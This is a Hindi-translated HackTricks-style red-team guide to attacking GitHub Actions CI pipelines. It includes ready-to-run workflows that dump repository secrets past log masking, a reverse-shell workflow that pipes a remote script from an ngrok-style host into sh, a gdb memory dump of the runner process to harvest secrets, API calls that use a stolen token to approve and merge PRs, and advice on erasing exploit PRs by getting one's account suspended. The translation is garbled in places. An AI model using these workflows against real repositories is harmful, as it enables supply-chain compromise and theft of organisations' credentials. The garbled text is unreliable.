Abusing Github Actions

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

• अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें

• हमारे विशेष NFTs संग्रह The PEASS Family खोजें

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।

• हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

मौलिक जानकारी

इस पृष्ठ में आपको मिलेगा:

• एक हमलागर को गिटहब एक्शन तक पहुंचने के सभी प्रभावों का सारांश

• एक एक्शन तक पहुंचने के विभिन्न तरीके:

• एक्शन बनाने की अनुमति होना

• पुल अनुरोध संबंधित ट्रिगर का दुरुपयोग

• अन्य बाहरी पहुंच तकनीकों का दुरुपयोग

• पहले से ही कंप्रोमाइज़ रेपो से पिवोटिंग

• अंततः, एक खंड जिसमें एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लोइटेशन तकनीकें हैं (उल्लिखित प्रभावों का कारण)

प्रभाव सारांश

गिटहब एक्शन के बारे में जानकारी के लिए गिटहब एक्शन्स की मौलिक जानकारी देखें।

यदि आप एक रेपोजिटरी में कोड डाल सकते हैं/गिटहब एक्शन्स में कोड इंजेक्ट कर सकते हैं, तो आप निम्नलिखित कर सकते हैं:

• उस रेपो/संगठन से सीक्रेट्स चुरा सकते हैं।

• यदि आप केवल इंजेक्ट कर सकते हैं, तो आप वह सब चुरा सकते हैं जो वर्कफ़्लो में पहले से मौजूद है।

• अन्य प्लेटफ़ॉर्मों जैसे AWS और GCP तक पहुंचने के लिए रेपो की अनुमतियों का दुरुपयोग करें।

• कस्टम वर्कर्स में कोड एक्सीक्यूट करें (यदि कस्टम वर्कर्स का उपयोग किया जाता है) और वहां से पिवोट करने का प्रयास करें।

• रेपोजिटरी कोड को ओवरराइट करें।

• यह GITHUB_TOKEN की अनुमतियों पर निर्भर करता है (यदि कोई है)।

• डिप्लॉयमेंट्स और अन्य आर्टिफैक्ट्स को कंप्रोमाइज़ करें।

• यदि कोड कुछ डिप्लॉय कर रहा है या कुछ स्टोर कर रहा है तो आप उसे संशोधित कर सकते हैं और कुछ अधिक पहुंच प्राप्त कर सकते हैं।

GITHUB_TOKEN

यह "सीक्रेट" (${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आ रहा है) जब व्यवस्थापक इस विकल्प को सक्षम करता है, तो दिया जाता है:

यह टोकन वही है जिस्में एक गिटहब एप्लिकेशन उपयोग करेगा, इसलिए यह उसी एंडपॉइंट तक पहुंच सकता है: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

गिटहब को एक फ्लो रिलीज करना चाहिए जो गिटहब के भीतर क्रॉस-रेपोजिटरी पहुंच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपोजिटरियों तक GITHUB_TOKEN का उपयोग कर सके।

आप इस टोकन की संभावित अनुमतियों को देख सकते हैं: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

ध्यान दें कि टोकन कार्य पूरा होने के बाद समाप्त हो जाता है। ये टोकन इस तरह दिखते हैं: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:

Merge PR

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

एप्रूव पीआर

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

एपीआई त्रुटि

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

ध्यान दें कि कई अवसरों में आपको गिटहब एक्शन्स envs या गुप्तों में गिटहब उपयोक्ता टोकन्स मिल सकते हैं। ये टोकन्स आपको रिपॉजिटरी और संगठन पर अधिक अधिकार दे सकते हैं।

गिटहब एक्शन्स आउटपुट में गुप्तों की सूची देखें

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

गुप्त सीक्रेट्स के साथ रिवर्स शैल प्राप्त करें

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

एक Github टोकन को अन्य उपयोगकर्ताओं के रिपॉजिटरी में दिए गए अनुमतियों की जांच करना संभव है कार्रवाई की लॉग की जांच करके:

अनुमति दी गई निष्पादन

यह Github कार्रवाइयों को कंप्रमाइज करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में माना जाता है कि आपके पास संगठन में एक नया रिपॉजिटरी बनाने की पहुंच है, या रिपॉजिटरी पर लेखन अधिकार है।

यदि आप इस स्थिति में हैं तो आप बस पोस्ट एक्सप्लोइटेशन तकनीक की जांच कर सकते हैं।

रिपॉजिटरी निर्माण से निष्पादन

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप github कार्रवाइयों को निष्पादित कर सकते हैं, तो आप नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं।

नए शाखा से निष्पादन

यदि आप पहले से ही एक Github कार्रवाई से युक्त एक रिपॉजिटरी में एक नई शाखा बना सकते हैं, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नए शाखा से उस कार्रवाई को निष्पादित कर सकते हैं। इस तरीके से आप रिपॉजिटरी और संगठन स्तर के रहस्यों को बाहरी कर सकते हैं (लेकिन आपको यह जानना चाहिए कि वे कैसे बुलाए जाते हैं)।

आप संशोधित कार्रवाई को मैन्युअल रूप से क्रियाशील बना सकते हैं, जब एक पीआर बनाई जाती है या जब कोड पुश किया जाता है (आपको कितना शोरू होना चाहिए इस पर निर्भर करेगा):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

---

Forked Execution

एक हमलावर को एक अन्य रिपॉजिटरी के गिटहब एक्शन को निष्पादित करने की अनुमति देने वाले विभिन्न ट्रिगर हो सकते हैं। यदि वे ट्रिगर किए गए कार्रवाहियाँ गलती से कॉन्फ़िगर की गई हैं, तो एक हमलावर को उन्हें कंप्रोमाइज करने की क्षमता हो सकती है।

pull_request

वर्कफ़्लो ट्रिगर pull_request हर बार वर्कफ़्लो को निष्पादित करेगा जब कोई पुल अनुरोध प्राप्त होता है कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रक्षक को वर्कफ़्लो के चलन की मंजूरी देनी होगी:

जैसा कि डिफ़ॉल्ट सीमा पहले समय योगदानकर्ताओं के लिए है, आप एक मान्य बग/त्रुटि को ठीक करने में योगदान कर सकते हैं और फिर अपनी नई pull_request विशेषाधिकारों का दुरुपयोग करने के लिए अन्य पीआर भेज सकते हैं।

मैंने इसे जांचा है और यह काम नहीं करता: एक विकल्प यह भी हो सकता है कि एक खाता बनाया जाए जिसका नाम उस व्यक्ति का हो जिसने परियोजना में योगदान किया और उसका खाता हटा दिया।

इसके अतिरिक्त, डिफ़ॉल्ट रूप से लेखन अनुमतियाँ और रहस्य एक्सेस को लक्षित रिपॉजिटरी को रोकता है जैसा कि दस्तावेज़ में उल्लिखित है:

GITHUB_TOKEN को छोड़कर, सीक्रेट्स रनर को पास नहीं किए जाते जब एक वर्कफ़्लो एक फोर्क की गई रिपॉजिटरी से ट्रिगर होता है। GITHUB_TOKEN में पुल अनुरोधों के लिए केवल पढ़ने की अनुमतियाँ हैं।

एक हमलावर गिटहब एक्शन की परिभाषा में परिभाषित कर सकता है ताकि वह अर्बिट्रे चीज़ें निष्पादित कर सके और अर्बिट्रे कार्रवाहियाँ जोड़ सके। हालांकि, उसे रहस्य चुरा नहीं सकता या रिपॉजिटरी को ओवरराइट कर सकता है क्योंकि उल्लिखित सीमाओं के कारण।

हाँ, अगर हमलावर पीआर में गिटहब एक्शन में परिवर्तन करता है जो ट्रिगर होगा, तो उसका गिटहब एक्शन उपयोग किया जाएगा और मूल रिपॉजिटरी से नहीं!

क्योंकि हमलावर कोड को भी निष्पादित करता है, यदि GITHUB_TOKEN पर रहस्य या लेखन अनुमतियाँ नहीं हैं तो एक हमलावर उदाहरण के लिए हानिकारक आर्टिफैक्ट्स अपलोड कर सकता है।

pull_request_target

वर्कफ़्लो ट्रिगर pull_request_target को लक्षित रिपॉजिटरी में लेखन अनुमति होती है और रहस्य तक पहुंच होती है (और अनुमति नहीं चाहिए)।

ध्यान दें कि वर्कफ़्लो ट्रिगर pull_request_target बेस संदर्भ में चलता है और न कि पीआर द्वारा दिया गया (अविश्वसनीय कोड न निष्पादित करने के लिए)। pull_request_target के बारे में अधिक जानकारी के लिए दस्तावेज़ देखें। इसके अतिरिक्त, इस विशेष खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस गिटहब ब्लॉग पोस्ट की जांच करें।

यह ऐसा दिख सकता है क्योंकि निष्पादित वर्कफ़्लो वह है जो बेस में परिभाषित है और पीआर में नहीं है, इसलिए pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ मामले हैं जहां यह नहीं है।

और इसमें रहस्य तक पहुंच होगी।

workflow_run

वर्कफ़्लो_रन ट्रिगर किसी अलग वर्कफ़्लो को चलाने की अनुमति देता है जब यह पूर्ण होता है, अनुरोधित होता है या इन_प्रोग्रेस होता है।

इस उदाहरण में, एक वर्कफ़्लो को अलग "टेस्ट चलाएं" वर्कफ़्लो के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

इसके अतिरिक्त, दस्तावेज़ के अनुसार: workflow_run घटना द्वारा प्रारंभ किया गया वर्कफ़्लो रहस्यों तक पहुँच सकता है और टोकन लिख सकता है, भले ही पिछला वर्कफ़्लो न हो।

इस प्रकार का वर्कफ़्लो हमला हो सकता है अगर यह किसी वर्कफ़्लो पर आधारित है जो एक बाह्य उपयोगकर्ता द्वारा pull_request या pull_request_target के माध्यम से ट्रिगर किया जा सकता है। कुछ वंशावली उदाहरण यहाँ इस ब्लॉग में मिल सकते हैं। पहला उदाहरण है कि workflow_run ट्रिगर किया गया वर्कफ़्लो हमलावर कोड डाउनलोड कर रहा है: ${{ github.event.pull_request.head.sha }} दूसरा उदाहरण है कि एक आर्टिफैक्ट को अविश्वसनीय कोड से workflow_run वर्कफ़्लो में पारित किया जा रहा है और इस आर्टिफैक्ट की सामग्री का उपयोग एक ऐसे तरीके से किया जा रहा है जिससे यह RCE के लिए विकल्पशील हो जाता है।

workflow_call

करने के लिए

करने के लिए: जांचें कि जब पुल_रिक्वेस्ट से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किया गया पीआर से

फोर्क क्रियान्वयन का दुरुपयोग

हमने एक बाह्य हमलावर कैसे एक गिटहब वर्कफ़्लो को निष्पादित करने के लिए सफल हो सकता है, इसके बारे में सभी तरीके का उल्लेख किया है, अब यह देखते हैं कि यदि यह निष्पादन, यदि गलत रूप से कॉन्फ़िगर किया गया है, तो कैसे दुरुपयोग किया जा सकता है:

अविश्वसनीय चेकआउट निष्पादन

pull_request के मामले में, वर्कफ़्लो पीआर के संदर्भ में निष्पादित होगा (इसलिए यह दुर्भाग्यपूर्ण पीआर का कोड निष्पादित करेगा), लेकिन किसी को पहले अधिकृत करना होगा और यह कुछ सीमाएँ के साथ चलेगा।

एक वर्कफ़्लो जो pull_request_target या workflow_run का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जो pull_request_target या pull_request से ट्रिगर किया जा सकता है, मूल रेपो से कोड निष्पादित होगा, इसलिए हमलावर को निष्पादित किया गया कोड नहीं कर सकता।

हालांकि, यदि क्रिया में एक निर्दिष्ट पीआर चेकआउट है जो पीआर से कोड प्राप्त करेगा (और मूल से नहीं), तो यह हमलावर के नियंत्रण किए गए कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 जहाँ पीआर कोड डाउनलोड किया गया है जांचें):

# असुरक्षित। केवल उदाहरण के रूप में प्रदान किया गया है।
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित रूप से अविश्वसनीय कोड npm install या npm build के दौरान चलाया जा रहा है क्योंकि निर्माता के द्वारा नियंत्रित हैं।

एक गिटहब डोर्क जो असुरक्षित क्रियाएँ खोजने के लिए है: event.pull_request pull_request_target extension:yml हालांकि, यदि क्रिया असुरक्षित रूप से कॉन्फ़िगर की गई है (जैसे कि पीआर जेनरेट करने वाला कौन है के बारे में शर्तों का उपयोग करना), तो क्रियाएँ सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं।

संदर्भ स्क्रिप्ट इन्जेक्शन

ध्यान दें कि कुछ गिटहब संदर्भ हैं जिनके मान पीआर बनाने वाले उपयोगकर्ता द्वारा नियंत्रित होते हैं। यदि गिटहब क्रिया उस डेटा का उपयोग कर रही है जिसे किसी भी कार्य को निष्पादित करने के लिए, तो यह विचारात्मक कोड निष्पादन तक ले जा सकता है:

pageGh Actions - Context Script Injections

GITHUB_ENV स्क्रिप्ट इन्जेक्शन

दस्तावेज़ से: आप किसी भी वर्कफ़्लो जॉब में किसी भी आगे के कदमों के लिए पर्यावरण चर को परिभाषित या अपडेट करके और इसे GITHUB_ENV पर्यावरण फ़ाइल में लिखकर उपलब्ध करा सकते हैं।

यदि कोई हमलावर इस एनवी चर में किसी भी मान को इन्जेक्ट कर सकता है, तो वह एनवी चर में कोड निष्पादित करने के लिए एनवी चर डाल सकता है जैसे कि LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (यह और यह), एक वर्कफ़्लो का कल्पना करें जो एक अपलोड किए गए आर्टिफैक्ट पर भरोसा कर रहा है ताकि इसकी सामग्री को GITHUB_ENV एनवी चर में संग्रहित कर सके। एक हमलावर इसे कंप्रमाइज़ करने के लिए इस तरह की कुछ अपलोड कर सकता है:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

यह कार्यप्रवाह से हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

---

अन्य बाहरी पहुंच

हटाए गए नेमस्पेस रेपो हाइजैकिंग

अगर किसी खाते का नाम बदल जाता है तो कुछ समय बाद दूसरा उपयोगकर्ता उस नाम से एक खाता पंजीकृत कर सकता है। अगर किसी रेपो के कम से कम 100 स्टार थे नाम के बदलने से पहले, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के रेपो बनाने की अनुमति देगा जैसा कि हटाए गए रेपो का था।

तो अगर कोई क्रिया एक रेपो का उपयोग कर रही है जो किसी अस्तित्वहीन खाते से है, तो फिर भी एक हमलावर उस खाता को बना सकता है और क्रिया को कंप्रमाइज कर सकता है।

अगर अन्य रेपोज़िटरीज़ इस उपयोगकर्ता रेपोज़िटरीज़ से निर्भरता थी, तो एक हमलावर उन्हें हाइजैक कर सकेगा। यहाँ आपको एक और पूर्ण व्याख्या मिलेगी: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

---

रेपो पिवोटिंग

इस खंड में हम उन तकनीकों के बारे में बात करेंगे जो एक रेपो से दूसरे रेपो में पिवोट करने की अनुमति देंगी मान लें कि हमारे पास पहले वाले पर किसी प्रकार की पहुंच है (पिछले खंड की जांच करें)।

कैश पॉइज़निंग

एक ही शाखा में वर्कफ़्लो रन्स के बीच एक कैश बनाए रखा जाता है। यानी अगर कोई हमलावर एक पैकेज को कंप्रमाइज करता है जो फिर कैश में संग्रहित होता है और एक अधिक विशेषाधिकृत वर्कफ़्लो द्वारा डाउनलोड और क्रियान्वित किया जाता है, तो वह उस वर्कफ़्लो को भी कंप्रमाइज कर सकेगा।

pageGH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लोज़ अन्य वर्कफ़्लोज़ और यहाँ तक कि रेपोज़िटरीज़ से आर्टिफैक्ट का उपयोग कर सकते हैं, अगर कोई हमलावर उस Github क्रिया को कंप्रमाइज करता है जो एक आर्टिफैक्ट अपलोड करती है जिसका उपयोग फिर से किसी अन्य वर्कफ़्लो द्वारा किया जाता है, तो वह अन्य वर्कफ़्लोज़ को कंप्रमाइज कर सकता है:

pageGh Actions - Artifact Poisoning

---

क्रिया से पोस्ट एक्सप्लोइटेशन

OIDC के माध्यम से AWS और GCP तक पहुंच

निम्नलिखित पृष्ठों की जांच करें:

pageAWS - Federation AbusepageGCP - Federation Abuse

रहस्यों तक पहुंचना

यदि आप किसी स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं तो यह जानना दिलचस्प है कि आप कैसे रहस्यों तक पहुंच सकते हैं:

• यदि रहस्य या टोकन एनवायरमेंट वेरिएबल में सेट किया गया है, तो इसे printenv का उपयोग करके पर्याप्त रूप से पहुंचा जा सकता है।

गिटहब क्रिया आउटपुट में रहस्यों की सूची

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>गुप्त सीक्रेट्स के साथ रिवर्स शैल प्राप्त करें</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• यदि सीक्रेट सीधे एक अभिव्यक्ति में उपयोग किया जाता है, तो उत्पन्न शैल स्क्रिप्ट डिस्क पर संग्रहीत होता है और पहुंचने योग्य होता है।

cat /home/runner/work/_temp/*

* जावास्क्रिप्ट क्रियाएँ के लिए सीक्रेट्स और वातावरण चरों के माध्यम से भेजे जाते हैं
* ```bash
ps axe | grep node

• कस्टम क्रिया के लिए, जो एक कार्यक्रम सीक्रेट का उपयोग कैसे कर रहा है उस पर निर्भर कर सकता है:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

स्व-होस्टेड रनर्स का दुरुपयोग

गिटहब एक्शन्स को खोजने का तरीका जो गिटहब की बाह्य संरचना में निष्पादित हो रहे हैं वह है runs-on: self-hosted गिटहब एक्शन कॉन्फ़िगरेशन yaml में खोजना।

स्व-होस्टेड रनर्स को अतिरिक्त संवेदनशील जानकारी तक पहुंच हो सकती है, अन्य नेटवर्क सिस्टमों (नेटवर्क में कमजोर अंतबिंदु? मेटाडेटा सेवा?) या, यदि यह अलग है और नष्ट हो जाता है, तो एक समय में एक से अधिक क्रियाएँ चलाई जा सकती हैं और दुर्भाग्यपूर्ण क्रिया दूसरी की सीक्रेट्स चुरा सकती है।

स्व-होस्टेड रनर्स से _Runner.Listener_** प्रक्रिया से सीक्रेट्स प्राप्त करना भी संभव है** जो इसकी मेमोरी डंप करके किसी भी चरण पर वर्कफ़्लो के सभी सीक्रेट्स को समेटेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

अधिक जानकारी के लिए इस पोस्ट की जाँच करें.

Github डॉकर इमेज रजिस्ट्री

यह संभव है कि Github एक्शन बनाएं जो Github के अंदर एक डॉकर इमेज बनाएं और स्टोर करें। निम्नलिखित विस्तार में एक उदाहरण हो सकता है:

Github एक्शन बिल्ड & पुश डॉकर इमेज

```yaml [...]

• name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

• name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

• name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

• name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

जैसा आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट किया गया है।

फिर रेपो पर पढ़ने की अनुमति वाले उपयोगकर्ता एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

फिर, उपयोगकर्ता Docker इमेज लेयर्स में लीक किए गए रहस्यों की खोज कर सकता है:

Github Actions लॉग में संवेदनशील जानकारी

यद्यपि Github को कोशिश करता है कि एक्शन्स लॉग में गुप्त मूल्यों को पहचानें और उन्हें दिखाने से बचाएं, तो एक्शन के क्रियान्वयन में उत्पन्न होने वाले अन्य संवेदनशील डेटा छिपाया नहीं जाएगा। उदाहरण के लिए, एक गुप्त मूल्य के साथ साइन किया गया JWT छिपाया नहीं जाएगा जब तक यह विशेष रूप से कॉन्फ़िगर नहीं किया गया हो।

अपने ट्रैक्स को छुपाना

(तकनीक यहाँ से) सबसे पहले, किसी भी पीआर जो उठाई गई है, वह Github में सार्वजनिक रूप से दिखाई देती है और लक्षित GitHub खाते में। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से पीआर को नहीं हटा सकते, लेकिन एक चक्कर है। GitHub खाते के लिए जो GitHub द्वारा निलंबित किए गए हैं, उनकी सभी पीआर स्वचालित रूप से हटा दी जाती हैं और इंटरनेट से हटा दी जाती हैं। इसलिए अपनी गतिविधि को छुपाने के लिए आपको अपने GitHub खाते को निलंबित करना या अपने खाते को झंडा लगाना होगा। इससे आपकी सभी गतिविधियों को GitHub पर इंटरनेट से छुपा दिया जाएगा (असल में अपनी सभी एक्सप्लॉइट पीआर को हटा देगा)

GitHub में एक संगठन बहुत सक्रिय है जो खातों की रिपोर्टिंग करने में GitHub को सक्षम करता है। आपको बस इस्यू में "कुछ स्टफ" साझा करना है और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और वहाँ आपके पास, गिथब पर अपना एक्सप्लॉइट अदृश्य बना दिया।

किसी संगठन को पता लगाने का एकमात्र तरीका यह है कि वे गिथब लॉग्स की जाँच करें SIEM से क्योंकि गिथब UI से पीआर हटा दिया जाएगा।

उपकरण

निम्नलिखित उपकरण Github Action वर्कफ़्लो खोजने और विकल्पित वालनरबल वन्स खोजने में उपयोगी हैं:

• https://github.com/CycodeLabs/raven

• https://github.com/carlospolop/PurplePanda